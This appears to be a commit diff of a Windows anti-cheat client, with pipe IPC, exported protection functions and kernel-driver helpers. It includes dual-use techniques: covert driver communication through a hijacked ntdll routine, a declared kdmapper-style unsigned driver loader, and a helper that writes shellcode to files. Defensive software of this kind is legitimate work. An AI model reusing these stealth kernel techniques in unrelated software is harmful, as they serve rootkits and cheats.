if (!WriteExact(pipe, &heartbeat, sizeof(heartbeat)))
{
LogA("[dll-client] heartbeat write failed: %lu\n", GetLastError());
return false;
}
return true;
}
static bool PumpServerMessages(HANDLE pipe)
{
for (;;)
{
DWORD available = 0;
if (!PeekNamedPipe(pipe, nullptr, 0, nullptr, &available, nullptr))
{
LogA("[dll-client] server disconnected: %lu\n", GetLastError());
ExitInjectedProcess(0);
return false;
}
if (available < sizeof(Msg))
return true;
Msg msg{};
if (!ReadExact(pipe, &msg, sizeof(msg)))
return false;
if (msg.type == static_cast<uint32_t>(MsgType::Exit))
{
LogA("[dll-client] exit requested by server\n");
SetEvent(g_stop_event);
ExitInjectedProcess(0);
return false;
}
}
}
static bool SendCommand(HANDLE pipe, PendingCommand& cmd)
{
Msg req{};
req.type = static_cast<uint32_t>(MsgType::CommandRequest);
req.client_id = g_client_id.load();
req.pid = GetCurrentProcessId();
req.version = kProtocolVersion;
req.command = cmd.command;
req.status = 0;
req.input_size = static_cast<uint32_t>(cmd.input.size());
req.output_size = static_cast<uint32_t>(cmd.output.size());
req.tick = static_cast<uint64_t>(NowMs());
req.session_id = g_session_id.load();
req.request_id = cmd.request_id;
if (cmd.input.size() > kPayloadBytes || cmd.output.size() > kPayloadBytes)
return false;
if (!cmd.input.empty())
memcpy(req.payload, cmd.input.data(), cmd.input.size());
if (!WriteExact(pipe, &req, sizeof(req)))
return false;
Msg resp{};
if (!ReadExact(pipe, &resp, sizeof(resp)))
return false;
if (resp.type != static_cast<uint32_t>(MsgType::CommandReply))
return false;
if (resp.request_id != cmd.request_id || resp.command != cmd.command)
return false;
cmd.status = resp.status;
if (resp.output_size && resp.output_size <= cmd.output.size())
memcpy(cmd.output.data(), resp.payload, resp.output_size);
return true;
}
static DWORD WINAPI WorkerThreadProc(LPVOID)
{
for (;;)
{
if (WaitForSingleObject(g_stop_event, 0) == WAIT_OBJECT_0)
break;
HANDLE pipe = INVALID_HANDLE_VALUE;
if (!ConnectToServer(pipe))
break;
g_pipe = pipe;
ResetEvent(g_connected_event);
if (!SendHello(pipe))
{
CloseHandle(pipe);
g_pipe = INVALID_HANDLE_VALUE;
Sleep(500);
continue;
}
DWORD last_heartbeat = static_cast<DWORD>(NowMs());
for (;;)
{
if (WaitForSingleObject(g_stop_event, 0) == WAIT_OBJECT_0)
break;
if (WaitForSingleObject(g_queue_event, 0) == WAIT_OBJECT_0)
{
for (;;)
{
auto cmd = QueuePop();
if (!cmd)
break;
if (!SendCommand(pipe, *cmd))
{
cmd->status = GetLastError();
}
if (cmd->done_event)
SetEvent(cmd->done_event);
if (WaitForSingleObject(g_stop_event, 0) == WAIT_OBJECT_0)
break;
}
}
const DWORD now = static_cast<DWORD>(NowMs());
if (now - last_heartbeat >= kHeartbeatIntervalMs)
{
if (!SendHeartbeat(pipe))
{
LogA("[dll-client] server heartbeat failed, exit process\n");
ExitInjectedProcess(0);
break;
}
last_heartbeat = now;
}
if (!PumpServerMessages(pipe))
break;
Sleep(10);
}
ResetEvent(g_connected_event);
if (pipe != INVALID_HANDLE_VALUE)
CloseHandle(pipe);
g_pipe = INVALID_HANDLE_VALUE;
if (WaitForSingleObject(g_stop_event, 0) == WAIT_OBJECT_0)
break;
Sleep(250);
}
FailPendingCommands(ERROR_CANCELLED, "client stopped");
return 0;
}
BOOL DllClientStart()
{
if (InterlockedCompareExchange(&g_started, 1, 0) != 0)
return TRUE;
g_stop_event = CreateEventW(nullptr, TRUE, FALSE, nullptr);
g_queue_event = CreateEventW(nullptr, TRUE, FALSE, nullptr);
g_connected_event = CreateEventW(nullptr, TRUE, FALSE, nullptr);
if (!g_stop_event || !g_queue_event || !g_connected_event)
{
CleanupClientStateNoWait();
return FALSE;
}
g_worker_thread = CreateThread(nullptr, 0, WorkerThreadProc, nullptr, 0, nullptr);
if (!g_worker_thread)
{
CleanupClientStateNoWait();
return FALSE;
}
return TRUE;
}
BOOL HBClientEnsureStarted()
{
return DllClientStart();
}
BOOL HBClientCall(
uint32_t command,
const void* input,
uint32_t input_size,
void* output,
uint32_t output_size,
uint32_t* bytes_returned)
{
if (bytes_returned)
*bytes_returned = 0;
if (input_size > kPayloadBytes || output_size > kPayloadBytes)
return FALSE;
if (input_size && !input)
return FALSE;
if (output_size && !output)
return FALSE;
if (InterlockedCompareExchange(&g_started, 0, 0) == 0)
{
if (!DllClientStart())
return FALSE;
}
auto cmd = std::make_shared<PendingCommand>();
cmd->command = command;
cmd->request_id = g_next_request_id.fetch_add(1);
cmd->done_event = CreateEventW(nullptr, TRUE, FALSE, nullptr);
if (!cmd->done_event)
return FALSE;
if (input_size)
{
const auto* ptr = static_cast<const uint8_t*>(input);
cmd->input.assign(ptr, ptr + input_size);
}
if (output_size)
cmd->output.resize(output_size);
QueuePush(cmd);
HANDLE waits[2] = { cmd->done_event, g_stop_event };
DWORD wait = WaitForMultipleObjects(2, waits, FALSE, 10000);
BOOL ok = (wait == WAIT_OBJECT_0 && cmd->status == ERROR_SUCCESS);
if (ok && output && !cmd->output.empty())
{
memcpy(output, cmd->output.data(), cmd->output.size());
if (bytes_returned)
*bytes_returned = static_cast<uint32_t>(cmd->output.size());
}
CloseHandle(cmd->done_event);
return ok;
}
BOOL HBClientSendPrintfW(const wchar_t* text)
{
return DllClientPrintfW(text);
}
static bool PipeReadMsgTimeout(HANDLE pipe, Msg& msg, DWORD timeout_ms)
{
const DWORD begin = GetTickCount();
for (;;)
{
DWORD available = 0;
if (!PeekNamedPipe(pipe, nullptr, 0, nullptr, &available, nullptr))
return false;
if (available >= sizeof(Msg))
{
DWORD got = 0;
return ReadFile(pipe, &msg, sizeof(msg), &got, nullptr) && got == sizeof(msg);
}
if (GetTickCount() - begin >= timeout_ms)
return false;
Sleep(10);
}
}
static bool PipeWriteMsg(HANDLE pipe, const Msg& msg)
{
DWORD wrote = 0;
return WriteFile(pipe, &msg, sizeof(msg), &wrote, nullptr) && wrote == sizeof(msg);
}
BOOL QueryServerAlreadyOpen()
{
HANDLE pipe = CreateFileW(
kPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (pipe == INVALID_HANDLE_VALUE)
return FALSE;
DWORD mode = PIPE_READMODE_MESSAGE;
SetNamedPipeHandleState(pipe, &mode, nullptr, nullptr);
Msg hello{};
hello.type = static_cast<uint32_t>(MsgType::Hello);
hello.pid = GetCurrentProcessId();
hello.version = kProtocolVersion;
hello.tick = static_cast<uint64_t>(NowMs());
Msg ack{};
if (!PipeWriteMsg(pipe, hello) ||
!PipeReadMsgTimeout(pipe, ack, 500) ||
ack.type != static_cast<uint32_t>(MsgType::HelloAck))
{
CloseHandle(pipe);
return FALSE;
}
Msg req{};
req.type = static_cast<uint32_t>(MsgType::CommandRequest);
req.client_id = ack.client_id;
req.pid = GetCurrentProcessId();
req.version = kProtocolVersion;
req.command = static_cast<uint32_t>(CommandId::QueryStatus);
req.session_id = ack.session_id;
req.request_id = 1;
req.tick = static_cast<uint64_t>(NowMs());
Msg resp{};
BOOL already_open =
PipeWriteMsg(pipe, req) &&
PipeReadMsgTimeout(pipe, resp, 500) &&
resp.type == static_cast<uint32_t>(MsgType::CommandReply) &&
resp.command == static_cast<uint32_t>(CommandId::QueryStatus);
Msg bye{};
bye.type = static_cast<uint32_t>(MsgType::Goodbye);
bye.client_id = ack.client_id;
bye.pid = GetCurrentProcessId();
bye.version = kProtocolVersion;
bye.session_id = ack.session_id;
PipeWriteMsg(pipe, bye);
CloseHandle(pipe);
return already_open;
}
BOOL HBClientLoadDriverW()
{
LoadDriverRequest req{};
//wcsncpy_s(req.service_name, service_name, _TRUNCATE);
//wcsncpy_s(req.driver_path, driver_path, _TRUNCATE);
return HBClientCall(
static_cast<uint32_t>(CommandId::LoadDriver),
&req,
sizeof(req),
nullptr,
0,
nullptr);
}
BOOL HBClientUnloadDriverW(const wchar_t* service_name)
{
if (!service_name)
return FALSE;
UnloadDriverRequest req{};
wcsncpy_s(req.service_name, service_name, _TRUNCATE);
return HBClientCall(
static_cast<uint32_t>(CommandId::UnloadDriver),
&req,
sizeof(req),
nullptr,
0,
nullptr);
}
BOOL HBClientNotifyBreakpointRemoved(uint32_t thread_id, uint64_t dr0, uint64_t dr7)
{
BreakpointRemovedRequest req{};
req.thread_id = thread_id;
req.dr0 = dr0;
req.dr7 = dr7;
return HBClientCall(
static_cast<uint32_t>(CommandId::BreakpointRemoved),
&req,
sizeof(req),
nullptr,
0,
nullptr);
}
BOOL DllClientPrintfW(const wchar_t* text)
{
if (!text)
return FALSE;
PrintfRequest req{};
if (!WideToUtf8(text, req.text, sizeof(req.text)))
return FALSE;
return HBClientCall(
static_cast<uint32_t>(CommandId::Printf),
&req,
sizeof(req),
nullptr,
0,
nullptr);
}
+118
View File
@@ -0,0 +1,118 @@
#include "Base.h"
static constexpr wchar_t kPipeName[] = L"\\\\.\\pipe\\HB_PIPE_DEMO";
static constexpr DWORD kHeartbeatIntervalMs = 250;
static constexpr DWORD kHeartbeatTimeoutMs = 2000;
static constexpr uint32_t kProtocolVersion = 4;
static constexpr size_t kPayloadBytes = 1024;
enum class MsgType : uint32_t
{
Hello = 1,
HelloAck = 2,
Heartbeat = 3,
Exit = 4,
Goodbye = 5,
CommandRequest = 6,
CommandReply = 7,
};
enum class CommandId : uint32_t
{
None = 0,
Printf = 1,
LoadDriver = 2,
UnloadDriver = 3,
QueryStatus = 4,
BreakpointRemoved = 5,
};
#pragma pack(push, 8)
struct Msg
{
uint32_t type;
uint32_t client_id;
uint32_t pid;
uint32_t version;
uint32_t command;
uint32_t status;
uint32_t input_size;
uint32_t output_size;
uint32_t reserved;
uint64_t tick;
uint64_t session_id;
uint64_t request_id;
uint8_t payload[kPayloadBytes];
};
struct PrintfRequest
{
char text[512];
};
struct LoadDriverRequest
{
wchar_t service_name[128];
wchar_t driver_path[MAX_PATH];
};
struct UnloadDriverRequest
{
wchar_t service_name[128];
};
struct BreakpointRemovedRequest
{
uint32_t thread_id;
uint32_t reserved;
uint64_t dr0;
uint64_t dr7;
};
struct QueryStatusReply
{
DWORD server_pid;
DWORD already_open;
char text[128];
};
#pragma pack(pop)
static_assert(sizeof(PrintfRequest) <= kPayloadBytes, "PrintfRequest too large");
static_assert(sizeof(LoadDriverRequest) <= kPayloadBytes, "LoadDriverRequest too large");
static_assert(sizeof(UnloadDriverRequest) <= kPayloadBytes, "UnloadDriverRequest too large");
static_assert(sizeof(BreakpointRemovedRequest) <= kPayloadBytes, "BreakpointRemovedRequest too large");
static_assert(sizeof(QueryStatusReply) <= kPayloadBytes, "QueryStatusReply too large");
inline LONG64 NowMs()
{
return static_cast<LONG64>(GetTickCount64());
}
struct PendingCommand
{
uint32_t command = static_cast<uint32_t>(CommandId::None);
DWORD status = ERROR_GEN_FAILURE;
uint64_t request_id = 0;
std::vector<uint8_t> input;
std::vector<uint8_t> output;
HANDLE done_event = nullptr;
};
BOOL QueryServerAlreadyOpen(char* out_text, size_t out_text_size);
BOOL DllClientStart();
BOOL HBClientCall(
uint32_t command,
const void* input,
uint32_t input_size,
void* output,
uint32_t output_size,
uint32_t* bytes_returned);
bool WideToUtf8(const std::wstring& input, char* output, size_t output_size);
BOOL DllClientPrintfW(const wchar_t* text);
BOOL HBClientLoadDriverW();
BOOL QueryServerAlreadyOpen();
+36
View File
@@ -0,0 +1,36 @@
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "Base.h"
#include "client_comm_shared.h"
#include "driver_func.h"
#include "client_pipe.h"
auto MainThread()->void
{
if (!driver_func::init())
{
auto string = "[Anit-Cheat]系统运行发生致命错误,错误代码:" + to_string(GetLastError());
MessageBoxA(NULL, string.c_str(), "您似乎遇到了一些问题", MB_OK);
exit(0);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
//AllocConsole();
//freopen("CONOUT$", "w+", stdout);
DllClientStart();
MainThread();
}
return TRUE;
}
+76
View File
@@ -0,0 +1,76 @@
#include "driver_func.h"
typedef ULONG(WINAPI* NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc)(char a1, PVOID a2, PVOID a3, PVOID a4);
NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc gNtConvertBetweenAuxiliary = NULL;
HANDLE null_device_handle;
OSVERSIONINFOW os{ 0 };
namespace driver_func
{
auto GetVersion() -> OSVERSIONINFOW
{
OSVERSIONINFOW os{ 0 };
typedef NTSTATUS(WINAPI* PFNRtlGetVersion)(PRTL_OSVERSIONINFOW);
static PFNRtlGetVersion RtlGetVersion = nullptr;
if (RtlGetVersion == nullptr)
{
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll != NULL)
{
RtlGetVersion = (PFNRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
}
}
RtlGetVersion(&os);
return os;
}
auto init() -> BOOL
{
os = GetVersion();
if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601)
{
null_device_handle = CreateFileA("\\\\.\\Nul", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (null_device_handle != NULL && null_device_handle != INVALID_HANDLE_VALUE)
return TRUE;
}
else if (os.dwBuildNumber >= 14393)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll)
{
if (gNtConvertBetweenAuxiliary == nullptr)
{
gNtConvertBetweenAuxiliary = (NtConvertBetweenAuxiliaryCounterAndPerformanceCounterProc)
GetProcAddress(ntdll, "NtConvertBetweenAuxiliaryCounterAndPerformanceCounter");
return gNtConvertBetweenAuxiliary ? TRUE : FALSE;
}
}
}
return FALSE;
}
auto driver_comm_func(LPVOID Buf, DWORD bufSize)->BOOL
{
if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601)
{
DWORD retlen = 0;
return DeviceIoControl(null_device_handle, 0x12345678, Buf, bufSize, Buf, bufSize, &retlen, NULL);
}
else if (os.dwBuildNumber >= 14393)
{
ULONG64 xxx = 0;
auto data = (ULONG64)Buf;
gNtConvertBetweenAuxiliary(1, &data, (PVOID)&xxx, NULL);
return TRUE;
}
return FALSE;
}
}
+53
View File
@@ -0,0 +1,53 @@
#pragma once
#ifndef DRIVER_BULID_FUNC
#define DRIVER_BULID_FUNC
#include <Windows.h>
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
struct CMD_COMM
{
DWORD64 CommID;
DWORD64 Buf;
DWORD64 status;
};
struct IOCTL_PROCESS
{
DWORD64 Pid;
BOOL is_no_create_remote_thread;
};
struct IOCTL_WINDOW
{
DWORD64 HWND;
DWORD64 Flags;
};
enum DRIVER_COOM_TYPE
{
MSG_BASE = 0x10000,
DRIVER_COMM_TEST,
DRIVER_PROTECT_PROCESS,
DRIVER_CANCEL_PROTECT_PROCESS,
ADD_WHITE_PROCESS,
WINDOW_ANIT_SCREEN,
USER_EVENT_HANDLE,
PROTECT_THREAD_CONTRL,
INSTALL_MOUSE_KEYBOARD,
UNLOAD_MOUSE_KEYBOARD,
};
namespace driver_func
{
auto init()->BOOL;
auto kdmaper_load_driver()->BOOL;
auto driver_comm_func(LPVOID Buf, DWORD bufSize)->BOOL;
}
#endif // !DRIVER_BULID_FUNC
+65
View File
@@ -0,0 +1,65 @@
#include "exprots_api_func.h"
#include "client_driver.h"
#include "client_comm_shared.h"
#include "active_check.h"
#include "client_pipe.h"
MYAPI_API BOOL set_server_process_path(const char* Path)
{
return client_shared_mapping::StartServerProcess(Path);
}
MYAPI_API BOOL check_server_process()
{
return QueryServerAlreadyOpen();
}
MYAPI_API BOOL driver_install_load()
{
return client_driver::fn_get_instance()->driver_map_load();
}
MYAPI_API BOOL check_install_status()
{
return client_driver::fn_get_instance()->check_load_driver();
}
MYAPI_API BOOL add_process_protect(DWORD Pid)
{
return client_driver::fn_get_instance()->add_process_protect(Pid);
}
MYAPI_API BOOL sub_process_protect(DWORD Pid)
{
return client_driver::fn_get_instance()->delete_process_protect(Pid);
}
MYAPI_API BOOL enjoin_remote_thread(BOOL val)
{
return client_driver::fn_get_instance()->enjoin_remote_thread(val);
}
MYAPI_API BOOL enable_reg_mouse_key()
{
return client_driver::fn_get_instance()->install_mouse_keyboard();
}
MYAPI_API BOOL disable_reg_mouse_key()
{
return client_driver::fn_get_instance()->unload_mouse_keyboard();
}
MYAPI_API BOOL add_mouse_key_white_process(DWORD Pid)
{
return client_driver::fn_get_instance()->add_white_mouse_keyoard_process(Pid);
}
MYAPI_API BOOL anit_window_scrren(HWND hwnd,UINT Flags)
{
return client_driver::fn_get_instance()->window_anit_screen(hwnd, Flags);
}
MYAPI_API BOOL check_remote_app_process()
{
return active_check::check_remote_app_process();
}
+51
View File
@@ -0,0 +1,51 @@
#pragma once
#include <Windows.h>
#ifndef EXPROTS_API_FUNC
#define EXPROTS_API_FUNC
#ifdef EXPROTS_API_FUNC
#define MYAPI_API __declspec(dllexport)
#else
#define MYAPI_API __declspec(dllimport)
#endif
//设置服务进程目录
EXTERN_C MYAPI_API BOOL set_server_process_path(CONST char* Path);
//服务进程是否已加载
EXTERN_C MYAPI_API BOOL check_server_process();
//驱动安装
EXTERN_C MYAPI_API BOOL driver_install_load();
//驱动是否安装成功
EXTERN_C MYAPI_API BOOL check_install_status();
//添加进程防护
EXTERN_C MYAPI_API BOOL add_process_protect(DWORD Pid);
//移除进程防护
EXTERN_C MYAPI_API BOOL sub_process_protect(DWORD Pid);
//是否启用禁止远程线程
EXTERN_C MYAPI_API BOOL enjoin_remote_thread(BOOL val);
//启用键鼠保护回调
EXTERN_C MYAPI_API BOOL enable_reg_mouse_key();
//禁用键鼠保护回调
EXTERN_C MYAPI_API BOOL disable_reg_mouse_key();
//添加键鼠移动白名单进程
EXTERN_C MYAPI_API BOOL add_mouse_key_white_process(DWORD Pid);
//设置窗口反截图
EXTERN_C MYAPI_API BOOL anit_window_scrren(HWND hwnd, UINT Flags);
//检测远程软件进程
EXTERN_C MYAPI_API BOOL check_remote_app_process();
#endif // !exprots_api_func
+28
View File
@@ -0,0 +1,28 @@
#include "private_funcion.h"
namespace private_funcion
{
auto create_start_process(LPCSTR path) -> BOOL
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
auto bOk = CreateProcessA(
path,
NULL, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE,
NULL, NULL,
&si, &pi
);
if (bOk)
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
return FALSE;
}
}
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#ifndef PRIVATE_FUNCTION
#define PRIVATE_FUNCTION
#include "Base.h"
namespace private_funcion
{
auto create_start_process(LPCSTR path)->BOOL;
}
#endif // !PRIVATE_FUNCTION
+151
View File
@@ -0,0 +1,151 @@
#include "utils.h"
namespace utils
{
// 读取二进制文件到内存
BYTE* ReadBinaryFile(const char* filePath, DWORD* outSize) {
HANDLE hFile = CreateFileA(
filePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("打开文件失败: %s\n", filePath);
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
printf("获取文件大小失败\n");
CloseHandle(hFile);
return NULL;
}
BYTE* buffer = (BYTE*)malloc(fileSize);
if (!buffer) {
printf("内存分配失败\n");
CloseHandle(hFile);
return NULL;
}
DWORD bytesRead = 0;
BOOL result = ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
if (!result || bytesRead != fileSize) {
printf("读取文件失败\n");
free(buffer);
return NULL;
}
*outSize = bytesRead;
return buffer;
}
BOOL WriteShellcodeToFile(const char* filePath, const BYTE* shellcode, SIZE_T shellcodeSize) {
// 1. 创建文件
HANDLE hFile = CreateFileA(
filePath,
GENERIC_WRITE,
0, // 独占访问
NULL,
CREATE_ALWAYS, // 总是创建新文件
FILE_ATTRIBUTE_NORMAL, // 普通文件
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
//printf("CreateFile 失败: %d\n", GetLastError());
return FALSE;
}
// 2. 写入 shellcode
DWORD bytesWritten = 0;
BOOL result = WriteFile(hFile, shellcode, (DWORD)shellcodeSize, &bytesWritten, NULL);
if (!result || bytesWritten != shellcodeSize) {
//printf("WriteFile 失败: %d\n", GetLastError());
CloseHandle(hFile);
return FALSE;
}
// 3. 刷新缓冲区并关闭
FlushFileBuffers(hFile);
CloseHandle(hFile);
//printf("Shellcode 写入成功: %s (大小: %d 字节)\n", filePath, bytesWritten);
return TRUE;
}
// 创建多级目录(递归创建)
BOOL CreateDirectoryRecursive(const char* path) {
char tempPath[MAX_PATH];
strcpy_s(tempPath, path);
// 去掉末尾的反斜杠
size_t len = strlen(tempPath);
if (len > 0 && tempPath[len - 1] == '\\') {
tempPath[len - 1] = '\0';
}
// 检查目录是否已存在
DWORD attrs = GetFileAttributesA(tempPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
return TRUE; // 目录已存在
}
// 递归创建父目录
char* lastSlash = strrchr(tempPath, '\\');
if (lastSlash) {
*lastSlash = '\0';
if (!CreateDirectoryRecursive(tempPath)) {
return FALSE;
}
*lastSlash = '\\';
}
// 创建当前目录
if (!CreateDirectoryA(tempPath, NULL)) {
if (GetLastError() == ERROR_ALREADY_EXISTS) {
return TRUE;
}
//printf("创建目录失败: %s (错误: %d)\n", tempPath, GetLastError());
return FALSE;
}
//printf("创建目录成功: %s\n", tempPath);
return TRUE;
}
auto GetProcessByName(CONST wchar_t* Name) -> DWORD
{
DWORD Pid = 0;
auto SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (SnapshotHandle == INVALID_HANDLE_VALUE)
return Pid;
PROCESSENTRY32 pe32{ 0 };
pe32.dwSize = sizeof(pe32);
if (Process32First(SnapshotHandle, &pe32))
{
do
{
if (!wcscmp(pe32.szExeFile, Name))
{
Pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(SnapshotHandle, &pe32));
}
CloseHandle(SnapshotHandle);
return Pid;
}
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#ifndef UTILS_H
#define UTILS_H
#include "Base.h"
namespace utils
{
BYTE* ReadBinaryFile(const char* filePath, DWORD* outSize);
BOOL WriteShellcodeToFile(const char* filePath, const BYTE* shellcode, SIZE_T shellcodeSize);
BOOL CreateDirectoryRecursive(const char* path);
auto GetProcessByName(CONST wchar_t* Name)->DWORD;
}
#endif // !UTILS_h
Binary file not shown.
+71
View File
@@ -0,0 +1,71 @@
// Microsoft Visual C++ generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// 中文(简体,中国) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE
BEGIN
"#include ""winres.h""\r\n"
"\0"
END
3 TEXTINCLUDE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON1 ICON "D:\\Apps\\Tencent\\WeChat\\Documents\\xwechat_files\\wxid_tmmv70cpqylp12_ec35\\msg\\file\\2026-07\\图层-5.ico"
#endif // 中文(简体,中国) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED
+210
View File
@@ -0,0 +1,210 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{17dde567-4eaa-4e85-b533-02c4e6451072}</ProjectGuid>
<RootNamespace>AnitCheatEXE</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>Anit-Seriver</TargetName>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Label="LLVM" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<UseLldLink>false</UseLldLink>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
